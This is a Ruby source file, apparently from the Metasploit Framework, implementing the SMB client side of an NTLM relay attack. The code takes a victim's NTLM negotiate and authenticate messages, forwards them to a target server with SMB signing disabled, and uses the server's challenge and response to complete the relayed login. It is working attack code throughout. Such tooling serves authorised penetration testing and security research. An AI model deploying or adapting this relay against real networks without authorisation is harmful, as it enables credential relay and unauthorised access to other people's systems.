module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::SMB
  # The SMB Client for interacting with the relayed_target
  class Client < ::RubySMB::Client
    # The supported server dialects. SMB 1 is not supported:
    # https://github.com/rapid7/metasploit-framework/issues/16261
    # Note there are similar supported dialects for both the server and the relay clients
    # {Msf::Exploit::Remote::SMB::Relay::NTLM::SUPPORTED_SERVER_DIALECTS} and
    # {Msf::Exploit::Remote::SMB::Relay::NTLM::Target::SMB::Client::SUPPORTED_CLIENT_DIALECTS}
    SUPPORTED_CLIENT_DIALECTS = [
      RubySMB::Client::SMB2_DIALECT_0202,
      RubySMB::Client::SMB2_DIALECT_0210,
      RubySMB::Client::SMB2_DIALECT_0300,
      RubySMB::Client::SMB2_DIALECT_0302,
    ]

    attr_reader :target

    def initialize(dispatcher, username:, password:, domain: nil, local_workstation: nil, always_encrypt: nil, ntlm_flags: nil, provider: nil, target: nil, logger: nil)
      super(dispatcher,
            smb1: false,
            smb2: true,
            smb3: true,
            username: username,
            password: password,
            domain: domain,
            local_workstation: local_workstation,
            always_encrypt: always_encrypt,
            ntlm_flags: ntlm_flags)

      @logger = logger
      @provider = provider
      @target = target
    end

    def self.create(provider, target, logger, timeout)
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => target.ip,
        'PeerPort' => target.port,
        'Timeout' => timeout,
        'Context' => {
          'Caller' => provider
        }
      )

      dispatcher = RubySMB::Dispatcher::Socket.new(sock)
      new(
        dispatcher,
        provider: provider,
        username: '',
        password: '',
        target: target,
        always_encrypt: false,
        logger: logger
      )
    end

    def add_smb3_to_negotiate_request(packet, _dialects = [])
      super(packet, SUPPORTED_CLIENT_DIALECTS)
    end

    # @param [String] client_type1_msg
    # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type1(client_type1_msg)
      @version = negotiate

      if @version == 'SMB1'
        # TODO: SMB1 not supported
        # neg_pkt = smb1_ntlmssp_negotiate_packet
        # neg_pkt.set_ntlm_type1_blob(victim_type1_msg.serialize)
        # resp = send_recv(neg_pkt)
        #
        # challenge_packet = smb1_ntlmssp_challenge_packet(resp)
        #
        # # Store the available OS information before going forward.
        # @peer_native_os = challenge_packet.data_block.native_os.to_s
        # @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
        #
        # @user_id = challenge_packet.smb_header.uid
        #
        # type2_message_encoded = smb1_type2_message(challenge_packet)
        #
        # type2_challenge = Net::NTLM::Message.decode64(type2_message_encoded)
        #
        # type2_challenge.challenge
      else
        # Same as the ::RubySMB::Client::Authentication smb2_authenticate method, with two differences
        #  - changes the type1_blob to match the blob of the type1 messages received from the client
        #  - returns the challenge messages received from the server

        server_type1_pkt = smb2_ntlmssp_negotiate_packet

        server_type1_pkt.set_security_buffer(client_type1_msg)
        server_type1_pkt.security_mode.signing_enabled = 0
        server_type2_pkt_raw = send_recv(server_type1_pkt)
        server_type2_pkt = smb2_ntlmssp_challenge_packet(server_type2_pkt_raw)

        if @dialect == '0x0311'
          update_preauth_hash(server_type2_pkt)
        end

        @session_id = server_type2_pkt.smb2_header.session_id
        type2_ntlm_message = smb2_type2_message(server_type2_pkt)

        Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
          message: Net::NTLM::Message.decode64(type2_ntlm_message),
          nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
        )
      end
    rescue ::Exception => e
      msg = "Unable to retrieve server challenge from #{target}"
      elog(msg, error: e)
      logger.print_error msg
      nil
    end

    # @param [String] client_type3_msg
    # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type3(client_type3_msg)
      if @version == 'SMB1'
        # TODO: SMB1 not supported
      else
        packet = RubySMB::SMB2::Packet::SessionSetupRequest.new

        packet.smb2_header.session_id = @session_id
        packet.smb2_header.credits = 127

        packet.security_mode.signing_enabled = 0

        packet.set_security_buffer(client_type3_msg)
        # packet.buffer = victim_type3_message

        response = send_recv(packet)
        if @dialect == '0x0311'
          update_preauth_hash(packet)
        end

        # raw = smb2_ntlmssp_authenticate(victim_type3_message, @session_id)
        response = smb2_ntlmssp_final_packet(response)

        if @smb3 && !@session_encrypt_data && response.session_flags.encrypt_data == 1
          @session_encrypt_data = true
        end

        Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
          nt_status: WindowsError::NTStatus.find_by_retval(response.smb2_header.nt_status.value).first
        )
      end
    rescue ::Exception => e
      msg = "Unable to authenticate to target #{target} via relay"
      elog(msg, error: e)
      logger.error msg
      nil
    end

    def normalize_type3_encoding(type3_msg)
      type3_msg.security_buffers.map!{ |_buffer_name, security_buffer| security_buffer.value.force_encoding("ASCII-8BIT") }
    end

    alias :connect :tree_connect

    protected

    attr_reader :logger
  end
end
